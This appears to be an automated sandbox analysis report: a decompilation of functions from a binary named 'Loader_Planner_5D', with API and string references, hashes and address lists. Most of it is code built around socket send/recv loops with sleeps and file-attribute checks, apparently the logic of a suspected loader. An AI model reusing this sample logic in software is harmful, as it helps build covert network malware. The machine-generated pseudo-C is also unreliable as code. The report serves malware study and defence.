0x7ff7106390fe
0x7ff71063910b
0x7ff71063911c
0x7ff710639121
0x7ff710639122
0x7ff710639123
0x7ff710639124
0x7ff710639125
0x7ff710639126
0x7ff710639127
0x7ff710639128
0x7ff710639129
0x7ff71063912a
0x7ff71063912b
0x7ff71063912c
0x7ff71063912d
0x7ff71063912e
0x7ff71063912f
0x7ff710639130
0x7ff71063913d
0x7ff710639145
0x7ff71063914f
0x7ff710639157
0x7ff710639160
0x7ff710639165
0x7ff710639170
0x7ff710639181
0x7ff71063918f
0x7ff71063919a
0x7ff71063919f
0x7ff7106391a8
0x7ff7106391bc
0x7ff7106391d1
0x7ff7106391d7
0x7ff7106391dc
0x7ff7106391e4
0x7ff7106391ea
0x7ff7106391ef
0x7ff7106391f8
0x7ff71063920c
0x7ff710639221
0x7ff710639227
0x7ff710639234
0x7ff710639239
0x7ff71063923c
0x7ff710639243
0x7ff71063924b
0x7ff71063924d
0x7ff710639250
0x7ff71063925e
0x7ff710639266
0x7ff71063926d
0x7ff710639274
0x7ff71063927c
0x7ff71063928b
0x7ff7106392a0
0x7ff7106392a9
0x7ff7106392ae
0x7ff7106392b6
0x7ff7106392be
0x7ff7106392c1
0x7ff7106392c9
0x7ff7106392d8
0x7ff7106392ed
0x7ff7106392f2
0x7ff7106392f7
0x7ff7106392ff
0x7ff710639307
0x7ff71063932e

APIs

Part of subcall function 00007FF7106440D0: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7106212CF), ref: 00007FF710644114
Part of subcall function 00007FF7106440D0: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF7106212CF), ref: 00007FF71064415A

send.WS2_32 ref: 00007FF710639243
recv.WS2_32 ref: 00007FF71063925E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063932F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710639335
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063933B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF710639341
send.WS2_32 ref: 00007FF710639624
recv.WS2_32 ref: 00007FF71063963E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397A1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397A7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397AD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397B3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397B9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397BF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397C5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7106397CB

Strings

ios_base::badbit set, xrefs: 00007FF710639F29
ios_base::failbit set, xrefs: 00007FF710639F34
*@*, xrefs: 00007FF710639413
ios_base::eofbit set, xrefs: 00007FF710639F3B
file_size, xrefs: 00007FF710639F18

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$recvsend$ExceptionFileHeaderRaise
String ID: *@*$file_size$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3343817012-174046024
Opcode ID: 93e6bcfd6643d27a52b124ca50e652e286e65f59a9a31bcf055a3b52cac3eb16
Instruction ID: e59fff5c911defe9ce7c4951666cbe6050d0e6206917dacaa613a297cc077f9b
Opcode Fuzzy Hash: 93e6bcfd6643d27a52b124ca50e652e286e65f59a9a31bcf055a3b52cac3eb16
Instruction Fuzzy Hash: 7842C672A18E8581FB04EB25D4453AEA323EB45BE4F805631EA5D477DADF7CF0888760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF71063A090 Relevance: 32.0, APIs: 14, Strings: 4, Instructions: 459
networksleepCOMMONCrypto

Download Yara Rule

C-Code - Quality: 49%

			E00007FF77FF71063A090(void* __ebx, void* __ecx, void* __edx, void* __esi, void* __ebp, void* __eflags, void* __rax, void* __rcx, long long __rdx, intOrPtr* __r8, intOrPtr* __r9) {
				void* __rbx;
				void* __rsi;
				void* __rbp;
				void* _t122;
				void* _t167;
				signed char _t185;
				signed char _t187;
				void* _t189;
				signed long long _t240;
				intOrPtr* _t247;
				signed char _t252;
				void* _t255;
				void* _t263;
				intOrPtr* _t285;
				intOrPtr* _t289;
				intOrPtr _t313;
				void* _t333;
				intOrPtr _t335;
				intOrPtr _t338;
				intOrPtr _t341;
				intOrPtr _t344;
				signed long long _t353;
				signed char _t356;
				void* _t359;
				intOrPtr _t361;
				intOrPtr _t365;
				intOrPtr _t368;
				intOrPtr _t371;
				intOrPtr _t374;
				char* _t377;
				char* _t378;
				void* _t379;
				void* _t380;
				signed long long _t381;
				intOrPtr* _t396;
				char* _t397;
				void* _t399;
				void* _t400;
				signed char _t401;
				signed char _t402;
				char* _t404;

				_t394 = __r9;
				_t189 = __esi;
				_t167 = __ebx;
				_t379 = _t380 - 0x1108;
				E00007FF77FF710663340(0x1208, __rax, _t399, _t400);
				_t381 = _t380 - __rax;
				_t240 =  *0x10689010; // 0xafe3859a1ce3
				 *(_t379 + 0x10f0) = _t240 ^ _t381;
				_t378 = __r9;
				_t404 = __r8;
				_t377 = __rdx;
				 *((long long*)(_t381 + 0x40)) = __rdx;
				 *((long long*)(_t381 + 0x48)) = __r8;
				 *((long long*)(_t381 + 0x50)) = __r9;
				r12d = 0;
				_t122 = E00007FF77FF710633540(__ecx, _t263, _t381 + 0x58, __r9, __r8);
				_t333 =  >=  ?  *((void*)(_t381 + 0x58)) : _t381 + 0x58;
				r9d = 0;
				r8d =  *(_t381 + 0x68);
				__imp__#19();
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				if (_t122 - 1 > 0) goto 0x1063a257;
				_t335 =  *((intOrPtr*)(_t381 + 0x70));
				if (_t335 - 0x10 < 0) goto 0x1063a170;
				if (_t335 + 1 - 0x1000 < 0) goto 0x1063a16b;
				if ( *((intOrPtr*)(_t381 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x58)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1063a755;
				E00007FF77FF710641E10( *((intOrPtr*)(_t381 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x58)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x58)) - 8)));
				 *((char*)(_t381 + 0x58)) = 0;
				 *((long long*)(_t381 + 0x70)) = 0xf;
				 *(_t381 + 0x68) = _t401;
				_t338 =  *((intOrPtr*)(_t377 + 0x18));
				if (_t338 - 0x10 < 0) goto 0x1063a1bd;
				if (_t338 + 1 - 0x1000 < 0) goto 0x1063a1b8;
				if ( *_t377 -  *((intOrPtr*)( *_t377 - 8)) - 8 - 0x1f > 0) goto 0x1063a75b;
				E00007FF77FF710641E10( *_t377 -  *((intOrPtr*)( *_t377 - 8)) - 8,  *((intOrPtr*)( *_t377 - 8)));
				 *_t377 = 0;
				 *((long long*)(_t377 + 0x18)) = 0xf;
				 *(_t377 + 0x10) = _t401;
				_t341 =  *((intOrPtr*)(__r8 + 0x18));
				if (_t341 - 0x10 < 0) goto 0x1063a206;
				if (_t341 + 1 - 0x1000 < 0) goto 0x1063a201;
				if ( *__r8 -  *((intOrPtr*)( *__r8 - 8)) - 8 - 0x1f > 0) goto 0x1063a6da;
				E00007FF77FF710641E10( *__r8 -  *((intOrPtr*)( *__r8 - 8)) - 8,  *((intOrPtr*)( *__r8 - 8)));
				 *((char*)(__r8)) = 0;
				 *((long long*)(__r8 + 0x18)) = 0xf;
				 *(__r8 + 0x10) = _t401;
				_t344 =  *((intOrPtr*)(__r9 + 0x18));
				if (_t344 - 0x10 < 0) goto 0x1063a250;
				if (_t344 + 1 - 0x1000 < 0) goto 0x1063a24b;
				_t247 =  *__r9 -  *((intOrPtr*)( *__r9 - 8)) - 8;
				if (_t247 - 0x1f > 0) goto 0x1063a6e0;
				E00007FF77FF710641E10(_t247,  *((intOrPtr*)( *__r9 - 8)));
				goto 0x1063a6a8;
				E00007FF77FF71063AA60(0, _t263, 0x1068bf50, __r9);
				_t264 = _t247;
				_t285 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t247 + 4)) + _t247 + 0x40)) + 8));
				 *((long long*)(_t379 - 0x78)) = _t285;
				 *((intOrPtr*)( *_t285 + 8))();
				E00007FF77FF710629340(_t247, _t379 - 0x80, _t379);
				r15d =  *((long long*)( *((intOrPtr*)( *_t247 + 0x40))))() & 0x000000ff;
				_t289 =  *((intOrPtr*)(_t379 - 0x78));
				if (_t289 == 0) goto 0x1063a2c4;
				 *((intOrPtr*)( *_t289 + 0x10))();
				if (_t247 == 0) goto 0x1063a2c4;
				 *((long long*)( *((intOrPtr*)( *_t247))))();
				E00007FF77FF71063D5B0(r15b & 0xffffffff, _t247, _t247, _t378);
				E00007FF77FF71062C2B0(_t247, _t247, _t378);
				r8d = 0x1000;
				E00007FF77FF7106441A0();
				Sleep(??);
				r8d = 0x118;
				E00007FF77FF7106441A0();
				E00007FF77FF71063A770(_t247, _t379 - 0x30, _t378, _t379, _t400);
				if ( *((long long*)(_t377 + 0x18)) - 0x10 < 0) goto 0x1063a31f;
				E00007FF77FF71063BD60(_t167, _t247, _t379 - 0x30,  *_t377, _t378, _t379,  *((intOrPtr*)( *_t247)), _t394, _t400);
				if ( *((long long*)(_t379 + 0x68)) == 0) goto 0x1063a50b;
				if ( *((long long*)(_t377 + 0x18)) - 0x10 < 0) goto 0x1063a344;
				 *((long long*)(_t379 - 0x80)) =  *_t377;
				 *((long long*)(_t379 - 0x78)) =  *(_t377 + 0x10);
				asm("movaps xmm0, [ebp-0x80]");
				asm("movdqa [ebp-0x80], xmm0");
				E00007FF77FF71062CB70(_t167, _t189,  *_t377, _t264, _t381 + 0x20, _t379 - 0x80, _t379);
				_t301 =  >=  ?  *((void*)(_t381 + 0x20)) : _t381 + 0x20;
				r9d = 0xffffffff;
				r8d = 9;
				if (E00007FF77FF710661300(0x190,  *((long long*)(_t381 + 0x38)) - 8, _t264,  >=  ?  *((void*)(_t381 + 0x20)) : _t381 + 0x20, _t379 - 0x80, _t378, _t394) != 0) goto 0x1063a6f2;
				r15d = r15d + 1;
				_t353 =  *((intOrPtr*)(_t381 + 0x38));
				if (_t353 - 8 < 0) goto 0x1063a3db;
				if (2 + _t353 * 2 - 0x1000 < 0) goto 0x1063a3d6;
				_t252 =  *((intOrPtr*)(_t381 + 0x20)) -  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x20)) - 8)) + 0xfffffff8;
				if (_t252 - 0x1f > 0) goto 0x1063a6e6;
				E00007FF77FF710641E10(_t252,  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x20)) - 8)));
				0x10642440();
				_t402 = _t252;
				_t356 = _t252;
				E00007FF77FF71063A910(r15d, _t379 - 0x30, _t356, _t378, r15d);
				r8d = r15d;
				if (r15d >= 0) goto 0x1063a450;
				r8d =  ~r8d;
				asm("o16 nop [eax+eax]");
				_t396 = _t379 - 0x6a;
				_t185 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t252 + _t356 + _t252 + _t356;
				r8b = r8b + 0x30;
				 *_t396 = r8b;
				r8d = _t185;
				if (_t185 != 0) goto 0x1063a410;
				_t397 = _t396 - 1;
				 *_t397 = 0x2d;
				goto 0x1063a47a;
				asm("o16 nop [eax+eax]");
				_t187 = 0xcccccccd * r8d >> 0x20 >> 3;
				r8b = r8b - _t252 + _t356 + _t252 + _t356;
				r8b = r8b + 0x30;
				 *((intOrPtr*)(_t397 - 1)) = r8b;
				r8d = _t187;
				if (_t187 != 0) goto 0x1063a450;
				E00007FF77FF71063D7A0((_t187 & 0x000000ff) << 2, _t379 - 0x60, _t397 - 1, _t379 - 0x6b);
				_t359 =  >=  ?  *((void*)(_t379 - 0x60)) : _t379 - 0x60;
				r9d = 0;
				r8d =  *(_t379 - 0x50);
				__imp__#19();
				Sleep(??);
				r9d = 0;
				r8d = r15d;
				__imp__#19();
				E00007FF77FF710641E10(_t252, _t402);
				_t361 =  *((intOrPtr*)(_t379 - 0x48));
				if (_t361 - 0x10 < 0) goto 0x1063a508;
				if (_t361 + 1 - 0x1000 < 0) goto 0x1063a503;
				_t255 =  *((intOrPtr*)(_t379 - 0x60)) -  *((intOrPtr*)( *((intOrPtr*)(_t379 - 0x60)) - 8)) + 0xfffffff8;
				if (_t255 - 0x1f > 0) goto 0x1063a6ec;
				E00007FF77FF710641E10(_t255,  *((intOrPtr*)( *((intOrPtr*)(_t379 - 0x60)) - 8)));
				r12d = 0;
				E00007FF77FF710628F20(0x64, _t187, r15d, _t379 - 0x18, _t379);
				if (_t255 != 0) goto 0x1063a549;
				_t313 =  *((intOrPtr*)( *((intOrPtr*)(_t379 - 0x30)) + 4));
				_t155 =  !=  ? 2 : 6;
				_t156 = ( !=  ? 2 : 6) |  *(_t379 + _t313 - 0x20);
				_t157 = (( !=  ? 2 : 6) |  *(_t379 + _t313 - 0x20)) & 0x00000017;
				 *(_t379 + _t313 - 0x20) = 6;
				_t158 = (( !=  ? 2 : 6) |  *(_t379 + _t313 - 0x20)) & 0x00000017 &  *(_t379 + _t313 - 0x1c);
				if ( *((long long*)(_t379 + _t313 + 0x18)) != 0) goto 0x1063a706;
				r9d = 0;
				r8d = 0x1000;
				__imp__#16();
				_t225 = ((( !=  ? 2 : 6) |  *(_t379 + _t313 - 0x20)) & 0x00000017 &  *(_t379 + _t313 - 0x1c)) - 1;
				if (((( !=  ? 2 : 6) |  *(_t379 + _t313 - 0x20)) & 0x00000017 &  *(_t379 + _t313 - 0x1c)) - 1 > 0) goto 0x1063a577;
				E00007FF77FF710639F90(2, r15d, _t379 - 0x30, _t378);
				goto 0x1063a133;
				Sleep(??);
				E00007FF77FF710639F90(2, r15d, _t379 - 0x30, _t378);
				_t365 =  *((intOrPtr*)(_t381 + 0x70));
				if (_t365 - 0x10 < 0) goto 0x1063a5ca;
				if (_t365 + 1 - 0x1000 < 0) goto 0x1063a5c5;
				if ( *((intOrPtr*)(_t381 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x58)) - 8)) + 0xfffffff8 - 0x1f > 0) goto 0x1063a755;
				E00007FF77FF710641E10( *((intOrPtr*)(_t381 + 0x58)) -  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x58)) - 8)) + 0xfffffff8,  *((intOrPtr*)( *((intOrPtr*)(_t381 + 0x58)) - 8)));
				 *(_t381 + 0x68) = _t402;
				 *((long long*)(_t381 + 0x70)) = 0xf;
				 *((char*)(_t381 + 0x58)) = 0;
				_t368 =  *((intOrPtr*)(_t377 + 0x18));
				if (_t368 - 0x10 < 0) goto 0x1063a617;
				if (_t368 + 1 - 0x1000 < 0) goto 0x1063a612;
				if ( *_t377 -  *((intOrPtr*)( *_t377 - 8)) - 8 - 0x1f > 0) goto 0x1063a75b;
				E00007FF77FF710641E10( *_t377 -  *((intOrPtr*)( *_t377 - 8)) - 8,  *((intOrPtr*)( *_t377 - 8)));
				 *(_t377 + 0x10) = _t402;
				 *((long long*)(_t377 + 0x18)) = 0xf;
				 *_t377 = 0;
				_t371 =  *((intOrPtr*)(_t404 + 0x18));
				if (_t371 - 0x10 < 0) goto 0x1063a660;
				if (_t371 + 1 - 0x1000 < 0) goto 0x1063a65b;
				if ( *_t404 -  *((intOrPtr*)( *_t404 - 8)) - 8 - 0x1f > 0) goto 0x1063a6da;
				E00007FF77FF710641E10( *_t404 -  *((intOrPtr*)( *_t404 - 8)) - 8,  *((intOrPtr*)( *_t404 - 8)));
				 *(_t404 + 0x10) = _t402;
				 *((long long*)(_t404 + 0x18)) = 0xf;
				 *_t404 = 0;
				_t374 =  *((intOrPtr*)(_t378 + 0x18));
				if (_t374 - 0x10 < 0) goto 0x1063a6a6;
				if (_t374 + 1 - 0x1000 < 0) goto 0x1063a6a1;
				if ( *_t378 -  *((intOrPtr*)( *_t378 - 8)) - 8 - 0x1f > 0) goto 0x1063a6e0;
				E00007FF77FF710641E10( *_t378 -  *((intOrPtr*)( *_t378 - 8)) - 8,  *((intOrPtr*)( *_t378 - 8)));
				 *_t378 = 0;
				 *((long long*)(_t378 + 0x18)) = 0xf;
				 *(_t378 + 0x10) = _t402;
				return E00007FF77FF710641DF0(6, 0x64,  *(_t379 + 0x10f0) ^ _t381);
			}

0x7ff71063a090
0x7ff71063a090
0x7ff71063a090
0x7ff71063a09d
0x7ff71063a0aa
0x7ff71063a0af
0x7ff71063a0b2
0x7ff71063a0bc
0x7ff71063a0c3
0x7ff71063a0c6
0x7ff71063a0c9
0x7ff71063a0cf
0x7ff71063a0d4
0x7ff71063a0d9
0x7ff71063a0de
0x7ff71063a0e9
0x7ff71063a0fa
0x7ff71063a100
0x7ff71063a103
0x7ff71063a10b
0x7ff71063a111
0x7ff71063a114
0x7ff71063a124
0x7ff71063a12d
0x7ff71063a133
0x7ff71063a13c
0x7ff71063a150
0x7ff71063a165
0x7ff71063a16b
0x7ff71063a170
0x7ff71063a175
0x7ff71063a17e
0x7ff71063a183
0x7ff71063a18b
0x7ff71063a19a
0x7ff71063a1af
0x7ff71063a1b8
0x7ff71063a1bd
0x7ff71063a1c0
0x7ff71063a1c8
0x7ff71063a1cc
0x7ff71063a1d4
0x7ff71063a1e3
0x7ff71063a1f8
0x7ff71063a201
0x7ff71063a206
0x7ff71063a20a
0x7ff71063a212
0x7ff71063a216
0x7ff71063a21e
0x7ff71063a22d
0x7ff71063a23a
0x7ff71063a242
0x7ff71063a24b
0x7ff71063a252
0x7ff71063a260
0x7ff71063a265
0x7ff71063a274
0x7ff71063a278
0x7ff71063a27f
0x7ff71063a287
0x7ff71063a29b
0x7ff71063a29f
0x7ff71063a2a6
0x7ff71063a2ab
0x7ff71063a2b1
0x7ff71063a2c1
0x7ff71063a2cb
0x7ff71063a2d3
0x7ff71063a2da
0x7ff71063a2e7
0x7ff71063a2f1
0x7ff71063a2f9
0x7ff71063a303
0x7ff71063a30c
0x7ff71063a31a
0x7ff71063a323
0x7ff71063a32d
0x7ff71063a33f
0x7ff71063a344
0x7ff71063a348
0x7ff71063a34c
0x7ff71063a350
0x7ff71063a35e
0x7ff71063a36f
0x7ff71063a375
0x7ff71063a37b
0x7ff71063a38c
0x7ff71063a396
0x7ff71063a399
0x7ff71063a3a2
0x7ff71063a3bb
0x7ff71063a3c8
0x7ff71063a3d0
0x7ff71063a3d6
0x7ff71063a3e1
0x7ff71063a3e6
0x7ff71063a3ec
0x7ff71063a3f3
0x7ff71063a3fc
0x7ff71063a402
0x7ff71063a404
0x7ff71063a407
0x7ff71063a410
0x7ff71063a41b
0x7ff71063a429
0x7ff71063a42c
0x7ff71063a430
0x7ff71063a433
0x7ff71063a438
0x7ff71063a43a
0x7ff71063a43d
0x7ff71063a441
0x7ff71063a447
0x7ff71063a45b
0x7ff71063a469
0x7ff71063a46c
0x7ff71063a470
0x7ff71063a473
0x7ff71063a478
0x7ff71063a485
0x7ff71063a493
0x7ff71063a498
0x7ff71063a49b
0x7ff71063a4a2
0x7ff71063a4ad
0x7ff71063a4b3
0x7ff71063a4b6
0x7ff71063a4bf
0x7ff71063a4c8
0x7ff71063a4cd
0x7ff71063a4d5
0x7ff71063a4e8
0x7ff71063a4f5
0x7ff71063a4fd
0x7ff71063a503
0x7ff71063a508
0x7ff71063a50f
0x7ff71063a517
0x7ff71063a51d
0x7ff71063a531
0x7ff71063a534
0x7ff71063a538
0x7ff71063a53b
0x7ff71063a53f
0x7ff71063a543
0x7ff71063a549
0x7ff71063a54c
0x7ff71063a55c
0x7ff71063a564
0x7ff71063a567
0x7ff71063a56d
0x7ff71063a572
0x7ff71063a57c
0x7ff71063a587
0x7ff71063a58d
0x7ff71063a596
0x7ff71063a5aa
0x7ff71063a5bf
0x7ff71063a5c5
0x7ff71063a5ca
0x7ff71063a5cf
0x7ff71063a5d8
0x7ff71063a5dd
0x7ff71063a5e5
0x7ff71063a5f4
0x7ff71063a609
0x7ff71063a612
0x7ff71063a617
0x7ff71063a61b
0x7ff71063a623
0x7ff71063a626
0x7ff71063a62e
0x7ff71063a63d
0x7ff71063a652
0x7ff71063a65b
0x7ff71063a660
0x7ff71063a664
0x7ff71063a66c
0x7ff71063a670
0x7ff71063a678
0x7ff71063a687
0x7ff71063a69c
0x7ff71063a6a1
0x7ff71063a6a8
0x7ff71063a6ab
0x7ff71063a6b3
0x7ff71063a6d9

APIs

send.WS2_32 ref: 00007FF71063A10B
recv.WS2_32 ref: 00007FF71063A124
Sleep.KERNEL32 ref: 00007FF71063A2F1
send.WS2_32 ref: 00007FF71063A4A2
Sleep.KERNEL32 ref: 00007FF71063A4AD
send.WS2_32 ref: 00007FF71063A4BF
recv.WS2_32 ref: 00007FF71063A55C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063A755
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF71063A75B

Strings

ios_base::badbit set, xrefs: 00007FF71063A70A
ios_base::failbit set, xrefs: 00007FF71063A715
ios_base::eofbit set, xrefs: 00007FF71063A71C
file_size, xrefs: 00007FF71063A6F9

Memory Dump Source

Source File: 00000000.00000002.834676071.00007FF710621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF710620000, based on PE: true

Associated: 00000000.00000002.834670586.00007FF710620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834720430.00007FF71066C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834734490.00007FF710689000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.834741933.00007FF71068D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff710620000_Loader_Planner_5D.jbxd

Similarity

API ID: send$Sleep_invalid_parameter_noinfo_noreturnrecv
String ID: file_size$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 116800095-2011467857
Opcode ID: 5e6178ee1d7507c7e32eb135fdfe2c149c3ff8dbc8a8509be7186b0075e4f12e
Instruction ID: 7bfee385e1f2b939a129749fba54c6357fa2906a6f8474c5b3ae61ebf9f98a34
Opcode Fuzzy Hash: 5e6178ee1d7507c7e32eb135fdfe2c149c3ff8dbc8a8509be7186b0075e4f12e
Instruction Fuzzy Hash: 1B02B072B04E8185EB04EB29D4543BDA763EB85BE4F804031DA5D4BBDADF6CE488D390

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF710661300 Relevance: 27.2, APIs: 18, Instructions: 229
fileCOMMONCrypto

Download Yara Rule

C-Code - Quality: 18%

			E00007FF77FF710661300(signed int __ecx, void* __eflags, long long __rbx, void* __rcx, signed long long* __rdx, long long __rsi, void* __r9) {
				void* _t73;
				signed int _t76;
				signed char _t80;
				signed int _t83;
				signed int _t84;
				signed char _t91;
				signed int _t94;
				unsigned int _t102;
				signed int _t108;
				signed int _t132;
				signed int _t140;
				signed long long _t152;
				signed long long _t153;
				intOrPtr _t161;
				union _GET_FILEEX_INFO_LEVELS _t184;
				WCHAR* _t189;
				void* _t192;
				signed long long _t193;
				WCHAR* _t201;

				 *((long long*)(_t192 + 0x18)) = __rbx;
				 *((long long*)(_t192 + 0x20)) = __rsi;
				_t193 = _t192 - 0x2b0;
				_t152 =  *0x10689010; // 0xafe3859a1ce3
				_t153 = _t152 ^ _t193;
				 *(_t192 - 0x1b0 + 0x1a0) = _t153;
				_t108 = r8d & 0xfffffffe;
				_t91 = r8b & 0x00000001;
				if (__eflags == 0) goto 0x10661355;
				if ((_t108 >> 0x00000002 & 0x00000001) == 0) goto 0x10661355;
				goto 0x106615d4;
				_t94 = __ecx | 0xffffffff;
				if ((_t108 >> 0x00000001 & 0x00000001) == 0) goto 0x1066137a;
				if (r9d == _t94) goto 0x1066137a;
				if ((r9d >> 0x0000000a & 0x00000001) == 0) goto 0x10661373;
				if (_t91 != 0) goto 0x1066137a;
				__rdx[2] = r9d;
				if ((_t108 & 0xfffffffd) == 0) goto 0x106615d2;
				if ((dil & 0x0000002a) == 0) goto 0x1066145d;
				if (r9d == _t94) goto 0x106613a3;
				r9d = r9d >> 0xa;
				if ((r9b & 0x00000001) == 0) goto 0x106613a3;
				if (_t91 != 0) goto 0x1066145d;
				if (GetFileAttributesExW(_t201, _t184) != 0) goto 0x10661408;
				if (GetLastError() != 0x20) goto 0x106615d4;
				FindFirstFileW(_t189);
				if (_t153 != 0xffffffff) goto 0x106613e5;
				GetLastError();
				goto 0x106615d4;
				FindClose(??);
				r8d =  *(_t193 + 0x6c);
				r9d =  *(_t193 + 0x70);
				 *(_t193 + 0x3c) =  *((intOrPtr*)(_t193 + 0x64));
				goto 0x1066141b;
				r9d =  *(_t193 + 0x48);
				r8d =  *(_t193 + 0x44);
				_t102 =  *(_t193 + 0x28);
				if (_t91 == 0) goto 0x10661429;
				_t132 = _t102 >> 0x0000000a & 0x00000001;
				if (_t132 != 0) goto 0x1066145d;
				__rdx[2] = _t102;
				__rdx[1] = _t193 + 0x00000050 << 0x00000020 | _t153;
				 *__rdx =  *(_t193 + 0x3c) & 0x00000000 | 0x00000000;
				if (_t132 == 0) goto 0x106615d2;
				r9d = _t91 & 0x000000ff;
				r9d = r9d ^ 0x00000001;
				r8d = 0x80;
				r9d = r9d + 0x10;
				r9d = r9d << 0x15;
				_t73 = E00007FF77FF710661630( *(_t193 + 0x3c) & 0x00000000 | 0x00000000, __rbx, _t193 + 0x20, __rcx);
				if (_t73 == 0) goto 0x106614a6;
				if ( *((intOrPtr*)(_t193 + 0x20)) == 0xffffffff) goto 0x1066149f;
				if (CloseHandle(??) == 0) goto 0x10661615;
				goto 0x106615d4;
				_t161 =  *((intOrPtr*)(_t193 + 0x20));
				if ((dil & 0x00000026) == 0) goto 0x10661563;
				r9d = 0x28;
				__imp__GetFileInformationByHandleEx();
				if (_t73 != 0) goto 0x106614f5;
				_t76 = GetLastError();
				if (_t161 == 0xffffffff) goto 0x106614ee;
				if (CloseHandle(??) == 0) goto 0x10661627;
				goto 0x106615d4;
				 *__rdx =  *(_t193 + 0x38);
				_t80 = (_t76 & 0xffffffdd) >> 2;
				__rdx[2] =  *(_t193 + 0x48);
				_t140 = _t80 & 0x00000001;
				if (_t140 == 0) goto 0x10661563;
				asm("bt ecx, 0xa");
				if (_t140 >= 0) goto 0x1066155c;
				r9d = 8;
				__imp__GetFileInformationByHandleEx();
				if (_t80 != 0) goto 0x10661553;
				GetLastError();
				if (_t161 == 0xffffffff) goto 0x106614ee;
				if (CloseHandle(??) == 0) goto 0x1066161b;
				goto 0x106614ee;
				_t83 =  *(_t193 + 0x24);
				__rdx[2] = _t83;
				goto 0x10661560;
				__rdx[2] = __rdx[2] & 0x00000000;
				r9d = 0x18;
				if ((r9b & dil) == 0) goto 0x106615bb;
				__imp__GetFileInformationByHandleEx();
				if (_t83 != 0) goto 0x106615a8;
				_t84 = GetLastError();
				if (_t161 == 0xffffffff) goto 0x106614ee;
				if (CloseHandle(??) == 0) goto 0x10661621;
				goto 0x106614ee;
				__rdx[1] =  *((intOrPtr*)(_t193 + 0x30));
				__rdx[3] =  *(_t193 + 0x38);
				if ((_t84 & 0xffffffe7) != 0) goto 0x106615fb;
				if (_t161 == 0xffffffff) goto 0x106615d2;
				if (CloseHandle(??) == 0) goto 0x10661615;
				return E00007FF77FF710641DF0(0,  *(_t193 + 0x48),  *(_t192 - 0x1b0 + 0x1a0) ^ _t193);
			}

0x7ff710661300
0x7ff710661305
0x7ff710661316
0x7ff71066131d
0x7ff710661324
0x7ff710661327
0x7ff710661334
0x7ff71066133d
0x7ff710661340
0x7ff710661349
0x7ff710661350
0x7ff710661357
0x7ff71066135e
0x7ff710661363
0x7ff71066136d
0x7ff710661371
0x7ff710661376
0x7ff71066137c
0x7ff710661386
0x7ff71066138f
0x7ff710661391
0x7ff710661399
0x7ff71066139d
0x7ff7106613b5
0x7ff7106613c0
0x7ff7106613ce
0x7ff7106613d8
0x7ff7106613da
0x7ff7106613e0
0x7ff7106613e8
0x7ff7106613f7
0x7ff7106613fc
0x7ff710661401
0x7ff710661406
0x7ff710661408
0x7ff71066140d
0x7ff710661417
0x7ff71066141d
0x7ff710661424
0x7ff710661427
0x7ff710661429
0x7ff710661446
0x7ff710661451
0x7ff710661457
0x7ff71066145d
0x7ff710661466
0x7ff71066146a
0x7ff710661470
0x7ff710661477
0x7ff71066147b
0x7ff710661484
0x7ff71066148f
0x7ff710661499
0x7ff7106614a1
0x7ff7106614a6
0x7ff7106614af
0x7ff7106614b5
0x7ff7106614c5
0x7ff7106614cd
0x7ff7106614cf
0x7ff7106614db
0x7ff7106614e8
0x7ff7106614f0
0x7ff710661501
0x7ff710661506
0x7ff710661509
0x7ff71066150c
0x7ff71066150e
0x7ff710661510
0x7ff710661514
0x7ff710661516
0x7ff710661528
0x7ff710661530
0x7ff710661532
0x7ff71066153e
0x7ff71066154b
0x7ff710661551
0x7ff710661553
0x7ff710661557
0x7ff71066155a
0x7ff71066155c
0x7ff710661563
